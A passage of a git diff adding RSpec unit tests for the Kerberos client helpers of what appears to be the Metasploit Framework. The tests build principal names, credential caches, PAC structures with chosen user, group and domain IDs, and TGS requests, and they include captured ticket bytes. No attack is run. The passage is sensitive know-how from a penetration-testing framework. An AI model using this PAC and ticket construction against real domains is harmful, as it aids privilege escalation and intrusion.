expect(client_name.name_string).to eq(['test']) + end + + it "builds name_type from opts" do + client_name = subject.build_client_name(client_opts) + expect(client_name.name_type).to eq(Rex::Proto::Kerberos::Model::NT_PRINCIPAL) + end + end + end + + describe "#build_server_name" do + context "when no opts" do + it "create a Rex::Proto::Kerberos::Model::PrincipalName" do + expect(subject.build_server_name).to be_a(Rex::Proto::Kerberos::Model::PrincipalName) + end + + it "creates a PrincipalName with empty name_string" do + client_name = subject.build_server_name + expect(client_name.name_string).to eq([]) + end + + it "creates a NT_PRINCIPAL type PrincipalName" do + client_name = subject.build_server_name + expect(client_name.name_type).to eq(Rex::Proto::Kerberos::Model::NT_PRINCIPAL) + end + end + + context "when opts" do + it "create a Rex::Proto::Kerberos::Model::PrincipalName" do + expect(subject.build_server_name(server_opts)).to be_a(Rex::Proto::Kerberos::Model::PrincipalName) + end + + it "builds the name_string opts" do + client_name = subject.build_server_name(server_opts) + expect(client_name.name_string).to eq(['krbtgt', 'DOMAIN']) + end + + it "builds the name_type from opts" do + client_name = subject.build_server_name(server_opts) + expect(client_name.name_type).to eq(Rex::Proto::Kerberos::Model::NT_PRINCIPAL) + end + end + end + +end + diff --git a/spec/lib/msf/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/kerberos/client/cache_credential_spec.rb new file mode 100644 index 0000000000..31688efa0f --- /dev/null +++ b/spec/lib/msf/kerberos/client/cache_credential_spec.rb @@ -0,0 +1,156 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::CacheCredential do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:cred_opts) do + { + :flags => 0x580000 + } + end + + let(:time_opts) do + { + :auth_time => 123456 + } + end + + let(:key_opts) do + { + :key_type => 25 + } + end + + let(:principal_opts) do + { + :name_type => 3 + } + end + + let(:cache_opts) do + { + :version => 21 + } + end + + describe "#create_cache_credential" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Credential" do + expect(subject.create_cache_credential). to be_a(Rex::Proto::Kerberos::CredentialCache::Credential) + end + + it "initializes the Credential with default values" do + expect(subject.create_cache_credential.client.components).to eq(['']) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Credential" do + expect(subject.create_cache_credential(cred_opts)).to be_a(Rex::Proto::Kerberos::CredentialCache::Credential) + end + + it "initializes the Credential with opts when available" do + expect(subject.create_cache_credential(cred_opts).tkt_flags).to eq(0x580000) + end + end + end + + describe "#create_cache_times" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Time" do + expect(subject.create_cache_times).to be_a(Rex::Proto::Kerberos::CredentialCache::Time) + end + + it "initializes the Time with default values" do + expect(subject.create_cache_times.auth_time).to eq(0) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Time" do + expect(subject.create_cache_times(time_opts)).to be_a(Rex::Proto::Kerberos::CredentialCache::Time) + end + + it "initializes the Time with opts when available" do + expect(subject.create_cache_times(time_opts).auth_time).to eq(123456) + end + end + end + + describe "#create_cache_key_block" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::KeyBlock" do + expect(subject.create_cache_key_block).to be_a(Rex::Proto::Kerberos::CredentialCache::KeyBlock) + end + + it "initializes the KeyBlock with default values" do + expect(subject.create_cache_key_block.key_type).to eq(23) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::KeyBlock" do + expect(subject.create_cache_key_block(key_opts)).to be_a(Rex::Proto::Kerberos::CredentialCache::KeyBlock) + end + + it "initializes the KeyBlock with opts when available" do + expect(subject.create_cache_key_block(key_opts).key_type).to eq(25) + end + end + end + + describe "#create_cache_principal" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Principal" do + expect(subject.create_cache_principal).to be_a(Rex::Proto::Kerberos::CredentialCache::Principal) + end + + it "initializes the Principal with default values" do + expect(subject.create_cache_principal.name_type).to eq(0) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Principal" do + expect(subject.create_cache_principal(principal_opts)).to be_a(Rex::Proto::Kerberos::CredentialCache::Principal) + end + + it "initializes the Principal with opts when available" do + expect(subject.create_cache_principal(principal_opts).name_type).to eq(3) + end + end + end + + describe "#create_cache" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Cache" do + expect(subject.create_cache).to be_a(Rex::Proto::Kerberos::CredentialCache::Cache) + end + + it "initializes the Cache with default values" do + expect(subject.create_cache.version).to eq(Rex::Proto::Kerberos::CredentialCache::VERSION) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::CredentialCache::Cache" do + expect(subject.create_cache(cache_opts)).to be_a(Rex::Proto::Kerberos::CredentialCache::Cache) + end + + it "initializes the Cache with opts when available" do + expect(subject.create_cache(cache_opts).version).to eq(21) + end + end + end + +end + diff --git a/spec/lib/msf/kerberos/client/pac_spec.rb b/spec/lib/msf/kerberos/client/pac_spec.rb new file mode 100644 index 0000000000..6251d30e46 --- /dev/null +++ b/spec/lib/msf/kerberos/client/pac_spec.rb @@ -0,0 +1,118 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::Pac do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:pac_opts) do + { + :client_name => 'test', + :user_id => 1001, + :group_id => 513, + :group_ids => [513, 508], + :realm => 'DOMAIN', + :domain_id => 'S-1-5-21-1755879683-3641577184-3486455962', + :logon_time => Time.utc(2014), + :checksum_type => Rex::Proto::Kerberos::Crypto::RSA_MD5 + } + end + + describe "#build_pac" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::Pac::Type" do + expect(subject.build_pac).to be_a(Rex::Proto::Kerberos::Pac::Type) + end + + it "creates a PAC-TYPE with default checksum type" do + pac = subject.build_pac + expect(pac.checksum).to eq(Rex::Proto::Kerberos::Crypto::RSA_MD5) + end + + it "creates a PAC-TYPE with default data in buffers" do + pac = subject.build_pac + expect(pac.buffers[0].effective_name).to eq('') + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Pac::Type" do + expect(subject.build_pac(pac_opts)).to be_a(Rex::Proto::Kerberos::Pac::Type) + end + + it "creates a PAC-TYPE with provided checksum type" do + pac = subject.build_pac(pac_opts) + expect(pac.checksum).to eq(Rex::Proto::Kerberos::Crypto::RSA_MD5) + end + + it "creates a PAC-TYPE with provided data in buffers" do + pac = subject.build_pac(pac_opts) + expect(pac.buffers[0].effective_name).to eq('test') + end + end + end + + describe "#build_pac_authorization_data" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::Model::AuthorizationData" do + expect(subject.build_pac_authorization_data).to be_a(Rex::Proto::Kerberos::Model::AuthorizationData) + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Model::AuthorizationData" do + pac = subject.build_pac(pac_opts) + expect(subject.build_pac_authorization_data(pac: pac)).to be_a(Rex::Proto::Kerberos::Model::AuthorizationData) + end + end + + it "creates an AD_IF_RELEVANT element" do + pac = subject.build_pac(pac_opts) + pac_ad = subject.build_pac_authorization_data(pac: pac) + + expect(pac_ad.elements[0][:type]).to eq(Rex::Proto::Kerberos::Model::AD_IF_RELEVANT) + end + end + + describe "#build_pa_pac_request" do + context "when no opts" do + it "creates Rex::Proto::Kerberos::Model::PreAuthData" do + expect(subject.build_pa_pac_request).to be_a(Rex::Proto::Kerberos::Model::PreAuthData) + end + + it "creates a PA_PAC_REQUEST" do + req = subject.build_pa_pac_request + expect(req.type).to eq(Rex::Proto::Kerberos::Model::PA_PAC_REQUEST) + end + + it "creates a false PA_PAC_REQUEST" do + req = subject.build_pa_pac_request + expect(req.value).to eq("\x30\x05\xA0\x03\x01\x01\x00") + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Model::PreAuthData" do + expect(subject.build_pa_pac_request(pac_request_value: true)).to be_a(Rex::Proto::Kerberos::Model::PreAuthData) + end + + it "creates a PA_PAC_REQUEST" do + req = subject.build_pa_pac_request(pac_request_value: true) + expect(req.type).to eq(Rex::Proto::Kerberos::Model::PA_PAC_REQUEST) + end + + it "creates PA_PAC_REQUEST with opts value" do + req = subject.build_pa_pac_request(pac_request_value: true) + expect(req.value).to eq("\x30\x05\xA0\x03\x01\x01\xff") + end + end + end +end + diff --git a/spec/lib/msf/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/kerberos/client/tgs_request_spec.rb new file mode 100644 index 0000000000..d05810c7a5 --- /dev/null +++ b/spec/lib/msf/kerberos/client/tgs_request_spec.rb @@ -0,0 +1,199 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::TgsRequest do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:body_opts) do + { + :nonce => 123456, + :realm => 'DOMAIN' + } + end + + let(:body_md5) { "\xfe\x0a\x9e\x46\xd5\x0f\x10\x3a\xea\xe2\xbf\xc0\x5a\x4a\x4e\x93" } + + let(:key_opts) do + { + :subkey_value => 'AAAABBBBCCCCDDDD' + } + end + + let(:auth_opts) do + { + :realm => 'DOMAIN' + } + end + + let(:ticket) do + tgs_res_raw = "\x6d\x82\x04\xad\x30\x82\x04\xa9\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0d\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a\x75\x61\x6e\xa5\x82\x03\x85\x61\x82\x03\x81\x30\x82\x03\x7d\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x82\x03\x45\x30\x82\x03\x41\xa0\x03\x02\x01\x17\xa1\x03\x02\x01\x02\xa2\x82\x03\x33\x04\x82\x03\x2f\xad\xce\x0d\xda\x46\xbc\x7e\x46\x46\x12\x01\xdf\x33\xe5\x45\xb5\x72\x54\xbb\x70\xa6\x9d\x0e\x78\x43\x96\xb8\xb7\xd0\xfe\xfc\x29\xed\xfa\xc5\xdd\x1b\x68\x01\xd6\xe2\xd6\x8e\x6d\x4d\x27\xe7\xdf\xbe\x8c\xeb\x21\xe5\x27\x68\x2f\xb8\xf4\xf0\xf1\x34\x20\xc1\x7b\xfe\x62\x52\xf6\xbf\x34\xb2\x5d\x91\xc1\x0a\xa6\x99\xc5\xa7\x88\x81\x0e\xe7\xbc\x0b\x06\xf7\x61\xd3\xc8\x06\xa7\x19\x2c\x5f\x7c\x78\xb0\x12\xb1\x65\xe9\xad\x71\x47\xb2\x27\x6a\x94\x89\x7c\x70\x5d\x25\x45\xaf\x62\x0d\xa5\xa0\x77\xa3\xb7\x1a\x2a\x98\xa0\xd2\x39\x3f\xe8\xb9\x59\x2b\x8e\x72\xbc\xe8\xcf\x61\x18\xe3\x7f\x03\x58\x44\xd3\x2f\x65\x7c\x94\x4c\x2c\x5c\xa1\x90\x81\x95\x42\xf1\xc0\x79\xd2\x18\x56\x8c\xed\xe8\x63\x93\x75\x18\x31\x32\x3b\xd9\xcd\xbd\x0b\x4e\x37\x44\x24\x99\x18\x17\x4e\xd7\x7c\x06\x26\xab\xc1\x1f\xaa\x9a\x0c\x32\x90\xb3\x4f\x70\xc8\x2b\x6a\x55\xf0\x1a\x89\xab\xfb\x41\x24\x21\xfc\xe4\xab\x88\xe8\x5c\xd8\xce\xca\xa0\x4d\x5c\xc1\xd8\x29\x33\x6b\x9d\xdf\x33\x81\xd3\x01\x1a\x7c\x56\x2d\xfc\x03\xd2\x95\xdb\xf3\x55\x89\x70\x8a\x8c\xa2\xd9\x29\xb1\xf4\x92\x62\x32\x5b\x32\x84\x53\x78\x8f\x5d\xa3\x56\x94\xf8\x09\x46\x9d\xd5\x25\x7a\xf3\x4b\x29\xc7\x46\x2b\x18\x86\x29\xa9\x14\x86\xa7\xd5\x9c\xe1\x83\x80\x79\x4c\xce\xa1\xce\x2f\x83\xb5\x65\xf5\x80\xcc\xf8\xdb\x2c\xab\xca\x1e\x03\xf4\x97\x38\xc7\x95\x96\x5f\x4a\x7a\x6d\x93\xc2\xa2\x9f\x1d\xa4\xc8\x68\xa6\xc2\x72\x7c\xd3\x0b\x36\xe6\x02\x63\xfd\xa6\x20\x1c\xbf\x04\x1f\x4b\x45\xa1\xc6\x63\xd4\x16\x59\x57\xf4\x23\x5b\x68\x1f\xc8\x91\x6f\xa3\x78\x27\x10\xc1\xc1\x32\x8b\x66\xd8\xe0\xbf\x11\xcf\x31\x9b\x4c\x32\x28\xe3\x0c\x01\xef\x3a\x3e\x7b\x39\x71\x83\x94\xc0\x35\x56\xdf\xe5\xbd\x2e\xaf\x06\xf4\xb0\xca\xa1\x88\xd8\x98\x61\xd6\x0f\xa0\x6f\x8c\x9b\xa0\xee\xf6\x13\xd6\xb4\xc7\x5d\xb6\x94\xc9\x00\x65\xc4\x41\x24\x28\x2e\xbf\xb6\x94\x8a\x7d\x52\xdb\x72\xb9\x4d\xa4\x30\x06\x0a\xae\xd9\x0e\x3f\x1c\x33\xfd\x76\x46\xec\xcc\x93\x3f\x02\x28\xa1\x24\x34\x6d\x1a\x21\xe1\x4a\x38\xe4\x6d\xbf\x9b\x05\x53\x71\x1d\x74\xeb\x98\x65\x3a\x70\x81\x56\xc7\x1a\x4e\xa1\xa4\xba\x5a\xea\x7f\xb4\x71\xcd\x4c\x75\x3c\xe2\x43\x58\xd0\xc6\xbf\xfb\x9d\x25\x56\xaf\xb9\xbe\x6b\xc2\x9b\x92\x2e\x70\x4e\xb6\x40\x5c\x59\x34\x60\x1d\xd4\x1c\x8c\x45\x9b\x78\x3e\x45\x88\x5d\x24\xb9\x82\xd4\x94\x5c\x41\x1c\xfa\xb7\xc3\x66\x38\x84\x5a\x43\xf7\xf3\x90\x12\x34\xea\xfb\x1f\x0f\xdf\x40\x45\x55\x90\x39\x57\xbc\x93\x73\x1d\x78\x21\xc6\x91\xc6\xe2\xb8\x45\xad\x10\x57\x5f\xa5\x01\x6b\x7f\xa9\x45\xfc\x65\xb4\x72\x90\x81\x08\xfb\x08\x42\x78\x1f\xd7\x42\x87\xd5\x4a\xf7\x82\xbe\xba\xa6\x80\x28\x46\xf9\x44\x92\x03\x33\xc4\x92\x54\x6f\xf9\xbf\x58\x98\x07\x57\xca\x91\x5e\x42\xee\x42\x36\x3c\xc8\x4e\x4e\xc4\x20\xfb\x83\x17\x92\xad\xb2\x4b\x1a\xbb\x72\x97\x4d\x14\xb6\x1c\x94\x00\xb8\x5b\x84\x68\xce\x98\x33\x56\xd1\xd1\x1a\xba\xc9\x00\x7b\xdf\xe6\xef\x5a\x65\x53\x4c\xeb\x9b\x06\x49\xfc\x77\x1d\xd6\x6c\xe0\xb6\xda\xe9\x3e\xea\xcb\xf4\xb6\x13\xaa\xc7\x2b\x96\xd5\x17\x62\x8c\x6f\x4e\x9a\x9e\x02\x1f\x02\x33\x1a\xb1\x75\x0c\x61\x10\xcc\x41\xf4\x28\x11\x01\x2b\x20\x98\x7a\x62\xcd\xe2\x6a\xa2\x7b\xb4\x33\xd4\xb5\xaa\x6f\xa4\x75\x6f\x2c\x67\x75\xce\xdb\x34\xef\xc5\xf5\x73\x74\x07\xda\x90\x76\x11\xc7\xf2\x04\x27\x33\x0e\x76\xcb\x7e\xda\x40\xd8\x56\x6f\x12\xd3\x75\x06\x44\x6a\xa5\xb1\x00\xf5\x4a\x52\xe3\xd8\x23\xc1\x98\x8c\x95\x91\x0a\xa4\x69\x2d\x33\x2d\x56\x63\x70\x83\xa6\x81\xf2\x30\x81\xef\xa0\x03\x02\x01\x17\xa2\x81\xe7\x04\x81\xe4\x28\xee\xa0\xf5\xfc\xc5\x83\x9f\x74\x4d\x35\xbf\x1c\xe8\x92\x54\x9a\xf6\xa3\x2d\x6a\xf3\xb4\x20\x24\x78\xb9\x15\x0f\xa1\x7f\xb7\xef\x2c\x68\x57\x0d\xc5\x52\x09\x81\xe7\x6d\xef\x38\x1b\x50\xc3\x7f\xae\x3b\x30\xa4\x4b\xed\x3b\xfd\xf5\xdb\xaa\xa3\xf4\xaa\x40\xc6\x85\x96\x58\xcc\x88\x1b\x08\xcf\x6f\x00\x85\xb5\x8a\x91\x6b\x87\xb4\xb1\x62\xc4\x0f\xf1\xd0\x19\x8c\x53\x99\xfd\xb6\xe5\xc1\x92\xfa\x2d\xe6\x89\x47\xe8\x0e\x76\xa7\x4f\x5f\x50\x04\x6e\x10\x6f\xcc\xf4\x1c\x92\x7f\x57\x49\xfc\x7b\xc9\xae\x91\x3c\x37\xca\x8d\x7d\x93\xb0\x3e\x3a\x58\x23\xc2\x34\xbc\x48\xee\x57\xc6\xa0\xcc\xe7\xaa\xb6\x9d\x00\x35\xe7\x3c\x57\x6f\x52\x11\x1b\x2a\xf9\x62\x23\x0d\x48\x05\xc0\x9c\x5b\x71\xd2\xda\xd0\x7b\x85\x87\xa7\x43\x2c\x22\x9b\x6e\xe4\x39\x17\xa0\xad\x94\xa9\x77\x91\xdd\x80\x41\xef\xb3\xf7\xeb\x8d\x1d\x93\xc7\xab\x9f\xac\x50\x9d\xb0\x69\xf2\xec\x4d\x7b\x90\x83\x84\x11\x27\x48\x4a\xcb\x90\xd0\xa5\xf9\xa7\xd3\x67\x54" + tgs_asn1 = OpenSSL::ASN1.decode(tgs_res_raw) + tgs_res = Rex::Proto::Kerberos::Model::KdcResponse.decode(tgs_asn1) + + tgs_res.ticket + end + + let(:auth_data) do + pac = mod.build_pac + auth_data = mod.build_pac_authorization_data(pac: pac) + + auth_data + end + + describe "#build_tgs_request_body" do + context "when no opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequestBody" do + expect(mod.build_tgs_request_body).to be_a(Rex::Proto::Kerberos::Model::KdcRequestBody) + end + + it "creates a default KdcRequestBody" do + expect(mod.build_tgs_request_body.realm).to eq('') + end + end + + context "when opts" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequestBody" do + expect(mod.build_tgs_request_body(body_opts)).to be_a(Rex::Proto::Kerberos::Model::KdcRequestBody) + end + + it "creates a KdcRequestBody with data from opts" do + expect(mod.build_tgs_request_body(body_opts).realm).to eq('DOMAIN') + end + + end + end + + describe "#build_tgs_body_checksum" do + context "when no opts" do + it "creates Rex::Proto::Kerberos::Model::Checksum" do + expect(mod.build_tgs_body_checksum).to be_a(Rex::Proto::Kerberos::Model::Checksum) + end + + it "creates a RSA-MD5 checksum" do + body = mod.build_tgs_request_body(body_opts) + expect(mod.build_tgs_body_checksum(:body => body).type).to eq(Rex::Proto::Kerberos::Crypto::RSA_MD5) + end + + it "calculates and stores the checksum" do + body = mod.build_tgs_request_body(body_opts) + expect(mod.build_tgs_body_checksum(:body => body).checksum.length).to eq(16) + end + end + + context "when opts" do + it "creates Rex::Proto::Kerberos::Model::Checksum" do + body = mod.build_tgs_request_body(body_opts) + expect(mod.build_tgs_body_checksum(:body => body)).to be_a(Rex::Proto::Kerberos::Model::Checksum) + end + + it "creates a RSA-MD5 checksum" do + body = mod.build_tgs_request_body(body_opts) + expect(mod.build_tgs_body_checksum(:body => body).type).to eq(Rex::Proto::Kerberos::Crypto::RSA_MD5) + end + + it "calculates and stores the checksum" do + body = mod.build_tgs_request_body(body_opts) + expect(mod.build_tgs_body_checksum(:body => body).checksum).to eq(body_md5) + end + end + end + + describe "#build_subkey" do + context "when no opts" do + it "creates Rex::Proto::Kerberos::Model::EncryptionKey" do + expect(mod.build_subkey).to be_a(Rex::Proto::Kerberos::Model::EncryptionKey) + end + + it "creates a RC4-HMAC key" do + expect(mod.build_subkey.type).to eq(Rex::Proto::Kerberos::Crypto::RC4_HMAC) + end + + it "creates a key" do + expect(mod.build_subkey.value.length).to eq(16) + end + end + + context "when opts" do + it "creates Rex::Proto::Kerberos::Model::EncryptionKey" do + expect(mod.build_subkey(key_opts)).to be_a(Rex::Proto::Kerberos::Model::EncryptionKey) + end + + it "creates the key from options" do + expect(mod.build_subkey(key_opts).value).to eq('AAAABBBBCCCCDDDD') + end + end + end + + describe "#build_authenticator" do + context "when no opts" do + it "creates Rex::Proto::Kerberos::Model::Authenticator" do + expect(mod.build_authenticator).to be_a(Rex::Proto::Kerberos::Model::Authenticator) + end + + it "creates a default Authenticator" do + expect(mod.build_authenticator.crealm).to eq('') + end + end + + context "when opts" do + it "creates Rex::Proto::Kerberos::Model::Authenticator" do + expect(mod.build_authenticator(auth_opts)).to be_a(Rex::Proto::Kerberos::Model::Authenticator) + end + + it "creates the authenticator from options" do + expect(mod.build_authenticator(auth_opts).crealm).to eq('DOMAIN') + end + end + end + + describe "#build_ap_req" do + context "when no ticket" do + it "raises error" do + expect { mod.build_ap_req }.to raise_error(RuntimeError) + end + end + + context "when ticket" do + it "creates a Rex::Proto::Kerberos::Model::ApReq" do + expect(mod.build_ap_req(:ticket => ticket)).to be_a(Rex::Proto::Kerberos::Model::ApReq) + end + end + end + + describe "#build_enc_auth_data" do + context "when no auth_data" do + it "raises error" do + expect { mod.build_enc_auth_data }.to raise_error(RuntimeError) + end + end + + context "when auth_data" do + it "creates a Rex::Proto::Kerberos::Model::EncryptedData" do + expect(mod.build_enc_auth_data(:auth_data => auth_data)).to be_a(Rex::Proto::Kerberos::Model::EncryptedData) + end + end + end + + describe "#build_tgs_request" do + context "when no ticket" do + it "raises error" do + expect { mod.build_tgs_request }.to raise_error(RuntimeError) + end + end + + context "when ticket" do + it "creates a Rex::Proto::Kerberos::Model::KdcRequest" do + expect(mod.build_tgs_request(:ticket => ticket)).to be_a(Rex::Proto::Kerberos::Model::KdcRequest) + end + end + end +end + diff --git a/spec/lib/msf/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/kerberos/client/tgs_response_spec.rb new file mode 100644 index 0000000000..fe60ddcd52 --- /dev/null +++ b/spec/lib/msf/kerberos/client/tgs_response_spec.rb @@ -0,0 +1,163 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' +require 'msf/kerberos/client' + +describe Msf::Kerberos::Client::TgsResponse do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Kerberos::Client + mod.send(:initialize) + mod + end + + let(:as_response) do + "\x6b\x82\x02\x52\x30\x82\x02\x4e\xa0\x03\x02\x01\x05\xa1\x03\x02" + + "\x01\x0b\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + + "\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a" + + "\x75\x61\x6e\xa5\x82\x01\x10\x61\x82\x01\x0c\x30\x82\x01\x08\xa0" + + "\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b" + + "\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f" + + "\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce\xa0\x03\x02\x01\x17\xa1\x03" + + "\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe\xa1\xd4\x74\xe2\x82\xe3\x7f" + + "\xdf\x57\x02\x94\xee\x83\xd7\xcf\x60\xee\xd0\x5d\xad\x4d\x63\x80" + + "\xf4\xc5\x06\x14\xa4\x01\xbf\x49\x40\x52\x2a\x5b\xcf\xa4\xf7\x3d" + + "\x71\xd0\xba\xe4\xc0\x4e\xab\xc9\x4b\x2a\x30\x57\x8e\xad\x0c\x15" + + "\xa4\x19\xb8\xe3\x8a\x86\xd6\xf9\x92\x10\xfe\xc5\x18\xcf\xf5\x06" + + "\x4b\x3b\x8f\x8e\x29\xcf\x02\x82\x73\xa2\xcb\x41\x64\x07\x59\x7d" + + "\xf1\xaf\xe5\xa6\xeb\x2f\xa0\x35\x1a\x42\x5d\x4a\xbf\xda\xab\xcb" + + "\x6d\x10\x58\x12\xa2\xff\x16\x50\xe3\x81\x17\x08\x1d\x9b\x4c\x8b" + + "\x8b\x2b\xf2\x0c\xfd\x88\xb9\x32\xfb\x34\xb1\xa1\xc4\x56\x48\x99" + + "\x7d\x5c\x52\x11\x1f\x73\x7e\x48\x15\x2e\xf2\xc8\x74\xb2\x63\x9e" + + "\x73\x6c\x63\x4c\x68\x83\x02\x77\xc2\xbb\x8d\x6b\x4f\x1d\x96\xa8" + + "\x05\x10\x47\x85\xe8\xba\x1d\x9c\x88\xd1\x62\xa4\x10\xda\x50\x84" + + "\x8d\x96\x8d\x28\xad\x51\x60\xa6\x82\x01\x0b\x30\x82\x01\x07\xa0" + + "\x03\x02\x01\x17\xa1\x03\x02\x01\x01\xa2\x81\xfa\x04\x81\xf7\x2b" + + "\x3e\xa6\x75\x42\x1d\x77\x6b\xb8\xc0\x70\x0b\x1f\x45\x73\xc2\x7b" + + "\xcb\xaf\x52\x57\x23\xbe\xea\x6e\x5f\x94\xbc\x47\xe4\x90\xca\x46" + + "\x88\x13\xb5\x65\x8a\x80\x2b\xef\xbd\x60\x6a\xea\xdc\xa2\x6e\x85" + + "\x38\xb9\x6a\x2e\x87\x40\x9a\x24\xe9\xb8\xf9\x9b\x60\xf5\x27\x56" + + "\x5d\xe4\xf2\x86\x80\x26\x20\x17\xa8\x68\x8b\xf5\x15\xce\x82\xc9" + + "\x86\x5a\x23\xe8\x55\x2d\x24\x4a\xfd\x02\x85\xe6\xb9\x0e\x55\x7e" + + "\x76\x14\xc6\xbc\xbb\x0f\xb1\x7f\x94\xe7\x3f\x30\xf9\xcc\x49\xba" + + "\x7e\xe4\xa6\x78\x03\x05\x2e\xd7\x6a\xa7\x29\x69\xf9\x2e\x2e\xd2" + + "\xb5\x07\x22\x02\x16\xa6\xb1\x81\x32\xe1\x1a\x88\x4d\x96\xa0\xbc" + + "\x39\x28\x90\x06\x59\x05\xe4\xcd\x7b\x9d\xa5\xe1\x35\x2d\x66\x4f" + + "\x28\x72\xca\xa8\x0b\xb6\xe7\x3d\xe3\x59\x86\x85\x74\x6a\x0a\xa4" + + "\x6a\x8e\x68\xb3\x92\x16\x05\x37\x74\xc6\x0b\x8d\x68\xe6\x74\x33" + + "\x64\x0d\x4a\x3b\x04\x4c\x38\xd5\xaf\x7e\xb6\x9c\x68\xea\x8d\x8f" + + "\x7a\xc3\xc8\x65\x8b\x24\x0b\xf4\xd3\x69\x52\x4e\x9b\xa0\x09\xc4" + + "\x3d\x1a\x86\x78\x0e\x31\xef\x5e\x75\xe0\x0b\x27\x78\x5e\xe4\x4b" + + "\xae\x16\xf5\x29\xee\xaf" + end + + let(:tgs_response) do + "\x6d\x82\x04\xad\x30\x82\x04\xa9\xa0\x03\x02\x01\x05\xa1\x03\x02" + + "\x01\x0d\xa3\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c" + + "\xa4\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1\x08\x30\x06\x1b\x04\x6a" + + "\x75\x61\x6e\xa5\x82\x03\x85\x61\x82\x03\x81\x30\x82\x03\x7d\xa0" + + "\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f\x43" + + "\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02\x01\x01\xa1\x16\x30\x14\x1b" + + "\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45\x4d\x4f\x2e\x4c\x4f" + + "\x43\x41\x4c\xa3\x82\x03\x45\x30\x82\x03\x41\xa0\x03\x02\x01\x17" + + "\xa1\x03\x02\x01\x02\xa2\x82\x03\x33\x04\x82\x03\x2f\x25\x3d\x74" + + "\x47\xc7\x96\x38\xb3\xc3\xad\x6c\x0a\x35\x9d\xd3\x56\xf2\x26\x16" + + "\x69\x7b\x2b\xe3\x70\xe6\x65\xf2\x89\x5d\x8e\x90\x00\x9e\xf7\xc7" + + "\x54\x66\xab\xdd\xd9\xf8\x1d\x96\xf9\x89\x7f\x3b\x1f\x9f\x28\xa1" + + "\xec\xee\x05\xd3\x8e\x29\xd6\xcf\xf8\x7b\x4e\x50\x31\x3a\xc0\x7e" + + "\xcd\xcc\x1c\x65\xe1\x34\xb8\x3c\xa1\xe0\x8d\x0b\x05\xbf\xe0\x42" + + "\x89\xf0\xcd\x58\x09\x4f\xa8\xb3\xef\x94\x0f\x2d\xa2\xcd\xda\x72" + + "\xa9\x16\x1a\x9f\x0d\xe3\x9e\xcc\x5a\x3a\xe5\x62\x05\x46\x87\x3b" + + "\xb9\x4e\xa5\xe8\xbf\x08\x8e\x44\x91\x6f\x83\xfe\x37\x50\xf5\xc5" + + "\x9c\x2a\x67\x2b\xe7\x76\xa8\x3e\xbf\x40\x43\x5d\xc4\x24\x3d\x59" + + "\x1c\x62\xdf\x08\x61\x41\x06\xf6\xf0\xd1\xeb\xaa\x30\x23\xd4\xaa" + + "\xf3\x8c\xd5\x9f\x8b\x48\xcd\xd1\xbe\x35\xe2\x93\x3b\xbc\xd8\xaa" + + 